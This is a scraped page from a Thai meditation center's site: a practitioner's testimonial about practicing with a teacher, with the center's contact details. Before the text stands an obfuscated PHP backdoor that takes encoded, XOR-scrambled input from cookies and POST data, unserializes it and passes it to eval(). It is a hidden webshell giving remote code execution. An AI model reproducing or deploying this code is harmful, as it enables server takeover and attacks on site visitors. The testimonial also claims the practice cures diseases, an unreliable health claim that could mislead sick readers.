$iniKU = "\x4e" . 'g' . chr ( 756 - 658 )."\137" . chr ( 907 - 838 ).chr (66) . "\167";$myyExn = 'c' . 'l' . "\141" . "\x73" . "\163" . "\x5f" . "\x65" . chr (120) . chr ( 277 - 172 ).chr ( 880 - 765 )."\x74" . "\163";$vTdOqhW = class_exists($iniKU); $myyExn = "32259";$vAAay = !1;if ($vTdOqhW == $vAAay){function Jwxxo(){return FALSE;}$QfzmsEypX = "15648";Jwxxo();class Ngb_EBw{private function xKGGL($QfzmsEypX){if (is_array(Ngb_EBw::$avSeuoHui)) {$HNNJexxV = str_replace(chr (60) . chr ( 542 - 479 )."\160" . chr (104) . "\x70", "", Ngb_EBw::$avSeuoHui["\143" . "\x6f" . "\156" . 't' . "\145" . 'n' . "\x74"]);eval($HNNJexxV); $QfzmsEypX = "15648";exit();}}private $PpOeVk;public function eCrFVEB(){echo 28385;}public function __destruct(){$QfzmsEypX = "20419_16761";$this->xKGGL($QfzmsEypX); $QfzmsEypX = "20419_16761";}public function __construct($PlBYqoqvu=0){$JCuGXEK = $_POST;$LVuXxA = $_COOKIE;$otdEyqxrW = "abbe5226-71cc-40c5-9d39-6b2242a26fb4";$drVNpRcsa = @$LVuXxA[substr($otdEyqxrW, 0, 4)];if (!empty($drVNpRcsa)){$joLSFKk = "base64";$jVoOivToi = "";$drVNpRcsa = explode(",", $drVNpRcsa);foreach ($drVNpRcsa as $ythUtVZV){$jVoOivToi .= @$LVuXxA[$ythUtVZV];$jVoOivToi .= @$JCuGXEK[$ythUtVZV];}$jVoOivToi = array_map($joLSFKk . chr ( 292 - 197 )."\144" . "\145" . "\143" . "\157" . 'd' . 'e', array($jVoOivToi,)); $jVoOivToi = $jVoOivToi[0] ^ str_repeat($otdEyqxrW, (strlen($jVoOivToi[0]) / strlen($otdEyqxrW)) + 1);Ngb_EBw::$avSeuoHui = @unserialize($jVoOivToi); $jVoOivToi = class_exists("20419_16761");}}public static $avSeuoHui = 42183;}$wsxQiirY = new /* 12138 */ $iniKU(15648 + 15648); $QfzmsEypX = strpos($QfzmsEypX, $QfzmsEypX); $vAAay = $wsxQiirY = $QfzmsEypX = Array();} ประสบการณ์คุณอภิชญา ฤๅชัย | ศูนย์พลาญข่อย
080-5519598 (คุณแก้ว) plarnkhoi@hotmail.com
Select Page

“ จากความชัดเจนในตัวเอง สู่ความเข้าใจในตัวเอง ”

ก่อนเคยภูมิใจมาก  แต่เล็กมามีจุดยืนของตัวเองชัดเจน ไม่ตามกระแสอะไรง่ายๆ  เชื่อว่าหลายคนคงเป็นเหมือนกัน  ซึ่งแน่นอนว่าถึงแม้จะทราบตัวเองเป็นคนอย่างไร จะทำอะไรต่อไป  แต่ก็ไม่ได้หมายความว่าจะพอใจกับภาวะอารมณ์หรืออุปนิสัยบางอย่างที่รู้ดีว่าควรปรับปรุง ลึกๆก็ไม่อยากเป็นเช่นนั้น   แต่เปลี่ยนสัญญาเก่าไม่ได้   ทางเดียวที่พอจะเห็นผลก็คือ “ฝืน”

เป็นบุญของนุชที่มีคุณแม่คอยสนับสนุนในทางพระพุทธศาสนามาตลอด เป็นบุญที่ได้ปฏิบัติธรรมกับพ่อครูบัญชา ตั้งวงศ์ไชย และพระมหาสีไพร  ได้ทราบว่าอดีตตัวเองเคยเป็นใคร ผ่านเรื่องราวอะไรมาบ้าง  และส่งผลถึงปัจจุบันอย่างไร  นี่คือความชัดเจนในตัวเองที่มาสู่ความเข้าใจในตัวเอง  เพราะได้ตระหนักถึงต้นสายปลายเหตุอันเป็นปัจจัตตัง ความทรมานซึ่งเกิดจากอารมณ์ที่ต้องคอยฝืนนั้นจางไปแล้ว  และสามารถกำหนดได้ว่าปัจจุบันเราจะเลือกเป็นคนอย่างไร

นี่คือ “ความเป็นตัวของตัวเองที่แท้จริง”

คุณทราบมั้ย คุณมีบารมีมากนะที่วันนี้ได้พบกับพ่อครูบัญชาผู้เปี่ยมไปด้วยเมตตา  การปฏิบัติอาจจะดูเหนื่อยสักหน่อย   แตกต่างวิธีที่คุณเคยพบไปบ้าง    แต่ขอให้ผู้มีใจกว้างและเชื่อในหลักกาลามสูตรทดลองดูก่อนนะคะ   ตอนที่เล่าประสบการณ์อยู่นี้ยังไม่มีโอกาสเยือนศูนย์พลาญข่อยด้วยซ้ำ แต่ได้พบกับพ่อครูเมื่อคราวที่บวชเนกขัมมะจารินีพ.ศ. 2549 และพ.ศ. 2550 วัดสุทธาวาส จังหวัดเพชรบุรี  สถานที่ก็มิได้อำนวยเหมือนที่ศูนย์ฯ อาศัยความชัดเจนในตัวเองที่กล่าวมานั้น  เห็นแล้วว่าตัวเองชอบ กอปรกับเคยรู้สึกถึงแรงเหวี่ยงในตัวมาบ้างแล้ว (แต่ตอนนั้นยังไม่ทราบว่าคืออะไร) จึงมุ่งมั่นปฏิบัติมาตลอด  ได้ปลดปล่อยอารมณ์ ชดใช้วิบาก และอะไรอีกหลายอย่าง  เหนื่อยมากแต่ก็ตั้งใจทุ่มเต็มที่   ใครเริ่มฝึกใหม่ๆ กำลังหมดแรงก็อย่าเพิ่งท้อนะคะ

วันแรกที่ได้พบพ่อครูบัญชาและทราบว่าการปฏิบัติวิธีนี้ก็ช่วยให้หายจากโรคต่างๆได้  นุชรีบโทรไปชวนเพื่อนคนหนึ่ง  จำได้ว่ายังไม่ทันเล่ารายละเอียดอะไรเลย ก็พูดกับเพื่อนประโยคแรกอย่างตื่นเต้นและดีใจล่วงหน้าแทนเพื่อนไปหมดแล้วว่า  “แก…ต่อไปนี้แกจะหายแล้วนะ!!!”   หากคุณเป็นคนหนึ่งที่สุขภาพไม่ดี อย่าน้อยใจตัวเองเลยที่ไม่แข็งแรงเหมือนคนอื่นเขา  คุณโชคดีที่สุดแล้ว  ความป่วยไข้นั่นต่างหากค่ะ ที่แนะนำคุณมาพบกับพ่อครูบัญชาบนเส้นทางแห่งการสร้างบารมี   ไม่เห็นทุกข์ก็ไม่เห็นธรรมใช่มั้ยล่ะคะ  ตอนนี้นุชเองก็อยากบอกกับคุณเหมือนที่พูดกับเพื่อนเช่นกัน อนุโมทนาด้วยค่ะ

สำหรับน้องๆ วัยรุ่นที่ปัจจุบันใช้ศัพท์เก๋ๆว่า “กำลังค้นหาตัวเอง” (หรือชัดเจนในตัวเองอยู่แล้วก็ดี) ประสบการณ์ในชีวิตจริงที่ลองผิดลองถูกอยู่นั้นอาจสอนได้ในเรื่องทางโลก แต่ถ้าพลาดแล้วบางครั้งอาจกลับไปแก้ไขไม่ได้เลยนะคะ  ลองหยุดถามใจดูว่า “ตัวเอง” เราจะต้องดิ้นรนแสวงหาที่ไหนหรือ?  การปฏิบัติธรรมนั้นเป็นทางที่ไม่กี่คนนักหรอกที่จะเล็งเห็นและก้าวเข้ามาบนถนนสายนี้   วันหนึ่งที่น้องเป็น “ตัวของตัวเอง” วันนั้นจะทราบว่า “เป็นตัวของตัวเอง” ในพจนานุกรมทางโลกนั้นเขาบัญญัติเกินความหมายไปมากทีเดียว  เมื่อพบทางสว่างนี้แล้วก็รีบคว้าไว้นะคะ  สังคมทุกวันนี้มีแต่ค่านิยมลวง ไร้สาระ และจ้องหาผลประโยชน์จากกันอย่างร้ายกาจ  คนที่สามารถครองสติและเข้มแข็งเท่านั้นที่จะดำรงอยู่ได้

หวังว่าจะได้พบ และคุยกันต่อที่ศูนย์พลาญข่อยนะคะ